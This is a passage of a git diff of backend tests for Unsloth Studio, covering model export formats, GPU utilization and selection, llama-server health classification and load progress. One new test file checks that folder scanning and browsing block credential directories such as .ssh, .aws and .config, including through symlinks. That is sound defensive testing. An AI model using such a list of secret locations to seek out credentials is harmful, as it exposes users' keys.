so this runs in the CPU suite without unsloth. + save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8") + assert "def _normalize_torchao_method" in save_py + assert "def _unsloth_save_torchao" in save_py + assert "TORCHAO_EXPORT_SCHEMES = {" in save_py + # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path. + assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py + assert '"torchao_int8": ("int8", "torchao-int8")' in save_py + + +# -- GGUF multi-quant list ---------------------------------------------------------------------- + + +def test_gguf_request_accepts_list_of_quants(): + r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"]) + assert r.quantization_method == ["Q4_K_M", "Q8_0"] + r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M") + assert r2.quantization_method == "Q4_K_M" + + +def test_export_gguf_normalizes_quant_list(): + g = _func_src("core/export/export.py", "export_gguf") + assert "isinstance(quantization_method, (list, tuple))" in g + assert "quant_methods" in g + + +# -- GGUF LoRA adapter export ------------------------------------------------------------------- + + +def test_lora_request_has_gguf_fields(): + from models.export import ExportLoRAAdapterRequest + + r = ExportLoRAAdapterRequest(save_directory = "/tmp/x") + assert r.gguf is False and r.gguf_outtype == "q8_0" + r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0") + assert r2.gguf is True and r2.gguf_outtype == "q8_0" + + +def test_lora_request_rejects_bad_outtype(): + from models.export import ExportLoRAAdapterRequest + with pytest.raises(ValidationError): + ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k") + + +def test_export_lora_wires_gguf_save_method(): + la = _func_src("core/export/export.py", "export_lora_adapter") + assert 'save_method = "lora"' in la + assert "quantization_method = outtype" in la + + +def test_orchestrator_and_worker_pass_lora_gguf(): + o = _func_src("core/export/orchestrator.py", "export_lora_adapter") + assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o + w = _src("core/export/worker.py") + assert 'gguf = cmd.get("gguf", False)' in w + assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w + + +def test_route_passes_lora_gguf(): + r = _src("routes/export.py") + assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r + + +# -- compressed_method ("all formats" dropdown) ------------------------------------------------- + + +def test_merged_request_accepts_compressed_method(): + # Defaults to None; any scheme alias is accepted (validation happens in the backend registry). + assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None + for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_resolves_alias_via_registry(): + # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict. + m = _func_src("core/export/export.py", "export_merged_model") + assert "compressed_method" in m + assert "_normalize_compressed_method(compressed_alias)" in m + assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m + assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m + + +def test_orchestrator_and_worker_pass_compressed_method(): + o = _func_src("core/export/orchestrator.py", "export_merged_model") + assert "compressed_method" in o and '"compressed_method": compressed_method' in o + assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py") + + +def test_route_passes_compressed_method(): + assert "compressed_method = request.compressed_method" in _src("routes/export.py") diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py index d96f88e4a6..69ad560788 100644 --- a/studio/backend/tests/test_gpu_selection.py +++ b/studio/backend/tests/test_gpu_selection.py @@ -5,9 +5,11 @@ import asyncio import importlib.util import os import re +import sys import unittest +from contextlib import nullcontext from pathlib import Path -from types import SimpleNamespace +from types import ModuleType, SimpleNamespace from unittest.mock import patch from fastapi import HTTPException @@ -22,6 +24,7 @@ from utils.hardware import ( estimate_required_model_memory_gb, get_backend_visible_gpu_info, get_device_map, + get_gpu_utilization, get_offloaded_device_map_entries, get_parent_visible_gpu_ids, get_visible_gpu_utilization, @@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module _BACKEND_ROOT = Path(__file__).resolve().parent.parent +async def _inline_to_thread(func, /, *args, **kwargs): + return func(*args, **kwargs) + + +def _fake_unsloth_attention_modules(resolver): + unsloth_module = ModuleType("unsloth") + models_module = ModuleType("unsloth.models") + utils_module = ModuleType("unsloth.models._utils") + utils_module.resolve_attention_implementation = resolver + models_module._utils = utils_module + unsloth_module.models = models_module + return { + "unsloth": unsloth_module, + "unsloth.models": models_module, + "unsloth.models._utils": utils_module, + } + + def _load_route_module(name: str, relative_path: str): spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path) module = importlib.util.module_from_spec(spec) @@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase): class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase): + def test_gpu_utilization_preserves_primary_shape_with_devices(self): + devices = [ + { + "index": 5, + "visible_ordinal": 0, + "gpu_utilization_pct": 11.0, + "temperature_c": 40.0, + "vram_used_gb": 4.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 16.7, + "power_draw_w": 80.0, + "power_limit_w": 300.0, + "power_utilization_pct": 26.7, + }, + { + "index": 3, + "visible_ordinal": 1, + "gpu_utilization_pct": 22.0, + "temperature_c": 50.0, + "vram_used_gb": 8.0, + "vram_total_gb": 24.0, + "vram_utilization_pct": 33.3, + "power_draw_w": 120.0, + "power_limit_w": 300.0, + "power_utilization_pct": 40.0, + }, + ] + + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), + patch.object(_hw_module, "IS_ROCM", False), + patch( + "utils.hardware.hardware._get_parent_visible_gpu_spec", + return_value = {"raw": "5,3", "numeric_ids": [5, 3]}, + ), + patch( + "utils.hardware.hardware._smi_query", + return_value = { + "available": True, + "devices": devices, + "backend_cuda_visible_devices": "5,3", + "parent_visible_gpu_ids": [5, 3], + "index_kind": "physical", + }, + ), + ): + result = get_gpu_utilization() + + self.assertIsInstance(result, dict) + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "cuda") + self.assertEqual(result["index"], 5) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual(result["vram_total_gb"], 24.0) + self.assertEqual(result["parent_visible_gpu_ids"], [5, 3]) + self.assertEqual([device["index"] for device in result["devices"]], [5, 3]) + + def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self): + with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU): + result = get_gpu_utilization() + + self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []}) + + def test_gpu_utilization_mlx_stays_available_without_agx_stats(self): + fake_psutil = ModuleType("psutil") + fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3) + + with ( + patch.dict(sys.modules, {"psutil": fake_psutil}), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX), + patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}), + patch( + "core.training.get_training_backend", + return_value = SimpleNamespace(_progress = None), + ), + patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None), + patch("utils.hardware.apple.read_gpu_power_w", return_value = None), + ): + result = get_gpu_utilization() + + self.assertTrue(result["available"]) + self.assertEqual(result["backend"], "mlx") + self.assertIsNone(result["gpu_utilization_pct"]) + self.assertEqual(result["vram_used_gb"], 0) + self.assertEqual(result["vram_total_gb"], 64.0) + self.assertEqual(len(result["devices"]), 1) + + def test_gpu_utilization_xpu_uses_visible_devices(self): + with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU), + patch( + "utils.hardware.hardware.get_visible_gpu_utilization", + return_value = { + "available": True, + "backend": "xpu", + "parent_visible_gpu_ids": [2, 0], + "index_kind": "physical", + "devices": [ + { + "index": 2, + "visible_ordinal": 1, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 3.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 18.8, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + { + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": 1.0, + "vram_total_gb": 16.0, + "vram_utilization_pct": 6.3, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + }, + ], + }, + ), + ): + result = get_gpu_utilization() + + self.assertEqual(result["backend"], "xpu") + self.assertEqual(result["index"], 0) + self.assertEqual(result["visible_ordinal"], 0) + self.assertEqual([device["index"] for device in result["devices"]], [0, 2]) + def test_visible_gpu_utilization_filters_to_parent_visible_ids(self): smi_output = "\n".join( [ @@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_get_offloaded_device_map_entries_handles_models_without_device_map(self): self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {}) + @patch( + "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate", + new = lambda model_name, **_: model_name, + ) + @patch( + "utils.hardware.hardware._load_config_for_gpu_estimate", + new = lambda *_args, **_kwargs: None, + ) def test_estimate_required_memory_formulas(self): eight_gb = 8 * (1024**3) @@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self): with ( + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.resolve_requested_gpu_ids", return_value = [2, 3], @@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase): def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "utils.hardware.hardware.estimate_required_model_memory_gb", return_value = ( @@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase): with ( patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True), + patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA), patch( "core.training.training._CTX.Queue", side_effect = [dummy_queue, dummy_queue], @@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase): has_audio_input = False, ) - with patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + with ( + patch.object( + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), + ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase): with ( patch.object( - inference_route.ModelConfig, - "from_identifier", - return_value = model_config, + inference_route, + "ModelConfig", + SimpleNamespace(from_identifier = lambda **_kwargs: model_config), ), patch.object( inference_route, @@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase): "get_llama_cpp_backend", return_value = SimpleNamespace(is_loaded = False), ), + patch.object( + inference_route, + "_guard_chat_load_against_training", + return_value = None, + ), + patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread), + patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext), patch( "core.export.get_export_backend", return_value = SimpleNamespace(current_checkpoint = None), @@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase): ): with self.assertRaises(HTTPException) as exc_info: asyncio.run( - inference_route.load_model( + inference_route._load_model_impl( request, SimpleNamespace( app = SimpleNamespace( @@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): cfg._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) @@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): with ( patch.object(AutoModelForCausalLM, "_model_mapping", new = None), patch.object(AutoModel, "_model_mapping", new = None), - patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ), + patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)), ): result = hardware_module._determine_attention_impl_for_gpu_estimate(config) @@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase): inner._attn_implementation = "eager" return "eager" - with patch( - "unsloth.models._utils.resolve_attention_implementation", - side_effect = _stub_resolver, - ): + with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)): hardware_module._determine_attention_impl_for_gpu_estimate(config) self.assertFalse(hasattr(config, "_attn_implementation")) diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py new file mode 100644 index 0000000000..c763248f6a --- /dev/null +++ b/studio/backend/tests/test_linux_external_media_paths.py @@ -0,0 +1,287 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +from __future__ import annotations + +import ast +import os +import sys +from pathlib import Path +from types import SimpleNamespace +from typing import Optional + +import pytest + +from hub.storage import scan_folders +from storage import studio_db +from utils.paths import external_media + + +_BACKEND_ROOT = Path(__file__).resolve().parent.parent + + +class _ExistingScanFolderConn: + def __init__(self): + self.params = () + + def execute( + self, + _sql, + params = (), + ): + self.params = params + return self + + def fetchone(self): + return {"id": 1, "path": self.params[0], "created_at": "fake"} + + def commit(self): + pass + + def close(self): + pass + + +class _HTTPException(Exception): + def __init__(self, status_code: int, detail: str): + super().__init__(detail) + self.status_code = status_code + self.detail = detail + + +def _stub_linux_path_checks(monkeypatch, module): + monkeypatch.setattr(module.platform, "system", lambda: "Linux") + monkeypatch.setattr(module.os.path, "realpath", os.path.normpath) + monkeypatch.setattr(module.os.path, "expanduser", lambda p: p) + monkeypatch.setattr(module.os.path, "exists", lambda _p: True) + monkeypatch.setattr(module.os.path, "isdir", lambda _p: True) + monkeypatch.setattr(module.os, "access", lambda _p, _mode: True) + + +def _stub_hub_scan_folder_db(monkeypatch): + monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None) + monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn) + + +def _stub_legacy_scan_folder_db(monkeypatch): + monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn) + + +def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB") + assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6") + + +@pytest.mark.parametrize( + "path", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path): + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + assert not external_media.is_linux_run_media_path(path) + + +def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + mount = base / "dspofu" / "nvmeB" + sensitive_mount = base / "dspofu" / ".ssh" + sensitive_aws_mount = base / "dspofu" / ".aws" + other_user_mount = base / "other" / "backup" + incomplete = base / "dspofu-only" + mount.mkdir(parents = True) + sensitive_mount.mkdir() + sensitive_aws_mount.mkdir() + other_user_mount.mkdir(parents = True) + incomplete.mkdir() + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_target = base / "dspofu" / ".config" + normal_mount.mkdir(parents = True) + sensitive_target.mkdir() + alias = base / "dspofu" / "config-alias" + alias.symlink_to(sensitive_target, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path): + base = tmp_path / "run" / "media" + normal_mount = base / "dspofu" / "nvmeB" + sensitive_descendant = normal_mount / ".ssh" / "models" + sensitive_descendant.mkdir(parents = True) + alias = base / "dspofu" / "models-alias" + alias.symlink_to(sensitive_descendant, target_is_directory = True) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + + roots = external_media.linux_run_media_mount_roots(base, user = "dspofu") + + assert roots == [normal_mount.resolve()] + + +def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = scan_folders.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + scan_folders.add_scan_folder(target) + + +def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, scan_folders) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_hub_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models") + + +def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + + row = studio_db.add_scan_folder(target) + + assert row["path"] == target + + +@pytest.mark.parametrize( + "target", + [ + "/run", + "/run/media", + "/run/media/dspofu", + "/run/user/1000/models", + "/run/systemd/private", + "/run/not-media/dspofu/nvmeB", + ], +) +def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Path under /run is not allowed"): + studio_db.add_scan_folder(target) + + +def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch): + _stub_linux_path_checks(monkeypatch, studio_db) + monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") + _stub_legacy_scan_folder_db(monkeypatch) + + with pytest.raises(ValueError, match = "Credential or configuration"): + studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models") + + +def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")) + function_names = { + "_build_browse_allowlist", + "_browse_relative_parts", + "_is_path_inside_allowlist", + "_match_browse_child", + "_normalize_browse_request_path", + "_resolve_browse_target", + } + functions = [ + node + for node in tree.body + if isinstance(node, ast.FunctionDef) and node.name in function_names + ] + module = ast.Module(body = functions, type_ignores = []) + ast.fix_missing_locations(module) + + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + (media_root / ".ssh").mkdir() + + fake_paths = SimpleNamespace( + hf_default_cache_dir = lambda: tmp_path / "missing-default-hf", + legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf", + well_known_model_dirs = lambda: [], + studio_root = lambda: tmp_path / "missing-studio", + outputs_root = lambda: tmp_path / "missing-outputs", + exports_root = lambda: tmp_path / "missing-exports", + ) + fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root]) + fake_studio_db = SimpleNamespace( + list_scan_folders = lambda: [], + contains_sensitive_path_component = studio_db.contains_sensitive_path_component, + ) + monkeypatch.setitem(sys.modules, "utils.paths", fake_paths) + monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media) + monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db) + + ns = { + "HTTPException": _HTTPException, + "os": os, + "Path": Path, + "Optional": Optional, + "_safe_is_dir": lambda p: Path(p).is_dir(), + "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf", + "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None), + } + exec(compile(module, "", "exec"), ns) + + allowlist = ns["_build_browse_allowlist"]() + + assert media_root.resolve() in allowlist + assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve() + + with pytest.raises(_HTTPException) as exc: + ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist) + assert exc.value.status_code == 403 + + ssh_root = media_root / ".ssh" + with pytest.raises(_HTTPException) as exc_root: + ns["_resolve_browse_target"](str(ssh_root), [ssh_root]) + assert exc_root.value.status_code == 403 diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py index 6b26121cf8..246d810602 100644 --- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py +++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py @@ -140,6 +140,16 @@ class TestOllamaAndFallback: msg = _classify("", None, None) assert "llama-server failed to start" in msg + def test_health_timeout_names_probe_not_generic(self): + # A live server that never returns 200 on /health must name the probe and + # proxy/context causes, not blame a bad GGUF (#5740). + msg = _classify( + "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x" + ) + assert "/health" in msg + assert "NO_PROXY" in msg + assert "GGUF file is valid" not in msg + class TestOsKillReturncode: """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named, diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py index 1ba6c9f7b5..82c5b4931a 100644 --- a/studio/backend/tests/test_llama_cpp_wait_for_health.py +++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py @@ -67,6 +67,15 @@ class TestWaitForHealthResilience: monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp) assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True + def test_timeout_records_marker_for_classification(self, monkeypatch): + """A live-but-never-healthy server leaves a marker so the failure is + classified as a /health timeout, not a bad GGUF (#5740).""" + b = _make_backend() + b._process.poll.return_value = None + monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503)) + assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False + assert any("health check timed out" in ln for ln in b._stdout_lines) + def test_read_error_loops_to_subprocess_poll(self, monkeypatch): """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log.""" b = _make_backend() diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py new file mode 100644 index 0000000000..2e499cd8c6 --- /dev/null +++ b/studio/backend/tests/test_load_progress_ready_fraction.py @@ -0,0 +1,166 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""load_progress() must report a complete load once llama-server is healthy. + +With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages +after upload, so its VmRSS sinks back well below the shard total. The raw RSS +fraction would then sit at a partial (~8%) value forever and freeze a +fraction-driven progress bar even though the model is ready -- the "stuck around +8% on the second pass" symptom in #5740. In the ready phase the fraction must be +1.0 regardless of resident set size. +""" + +from __future__ import annotations + +import io +import sys +import types +from pathlib import Path +from unittest.mock import patch + +import pytest + +# Stub heavy/unavailable deps before importing the module under test, so a +# targeted run in the lightweight backend env (no structlog/httpx) still +# collects. setdefault keeps the real modules when they are installed. Mirrors +# test_llama_cpp_load_progress_matrix.py. +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +sys.modules.setdefault("structlog", types.ModuleType("structlog")) + +_httpx_stub = types.ModuleType("httpx") +for _exc_name in ( + "ConnectError", + "TimeoutException", + "ReadTimeout", + "ReadError", + "RemoteProtocolError", + "CloseError", +): + setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {})) + + +class _FakeTimeout: + def __init__(self, *a, **kw): + pass + + +_httpx_stub.Timeout = _FakeTimeout +_httpx_stub.Client = type( + "Client", + (), + { + "__init__": lambda self, **kw: None, + "__enter__": lambda self: self, + "__exit__": lambda self, *a: None, + }, +) +sys.modules.setdefault("httpx", _httpx_stub) + +from core.inference.llama_cpp import LlamaCppBackend # noqa: E402 + + +def _backend( + gguf_path, + *, + healthy, + pid = 4321, +): + # Bare instance: exercise load_progress() without the heavy real __init__. + be = object.__new__(LlamaCppBackend) + be._process = types.SimpleNamespace(pid = pid) + be._gguf_path = str(gguf_path) + be._healthy = healthy + return be + + +def _gguf(tmp_path, size_bytes): + f = tmp_path / "model-Q4_K_M.gguf" + f.write_bytes(b"\0" * size_bytes) + return f + + +def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch): + # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 # not 0.08 + assert p["bytes_loaded"] == p["bytes_total"] == 10000 + + +def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch): + # Still loading: the bar should track real residency, not jump to 1.0. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + p = be.load_progress() + assert p["phase"] == "mmap" + assert p["fraction"] == 0.08 + assert p["bytes_loaded"] == 800 + assert p["bytes_total"] == 10000 + + +def test_progress_fraction_is_monotonic(tmp_path, monkeypatch): + # RSS peaks during page-in, then drops after -ngl offload; the bar must hold + # its high-water mark instead of collapsing back to ~8% (#5740). + be = _backend(_gguf(tmp_path, 10000), healthy = False) + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000)) + assert be.load_progress()["fraction"] == 0.9 + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + p = be.load_progress() + assert p["fraction"] == 0.9 + assert p["bytes_loaded"] == 9000 + + +def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch): + # bytes_total unknown (file unstattable): fraction must still read complete. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(tmp_path / "missing.gguf", healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 + assert p["bytes_total"] == 0 + + +def test_none_when_no_process(tmp_path): + be = _backend(_gguf(tmp_path, 10000), healthy = True) + be._process = None + assert be.load_progress() is None + + +def test_none_when_rss_unreadable(tmp_path, monkeypatch): + # /proc unavailable (macOS/Windows) or unreadable -> no progress payload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + assert be.load_progress() is None + + +def test_read_rss_bytes_absent_pid_is_none(): + # A pid with no readable /proc entry (or no /proc at all) yields None, never + # raises. + assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None + + +def test_read_rss_bytes_valueless_line_is_none(): + # A "VmRSS:" line with no value column must not raise 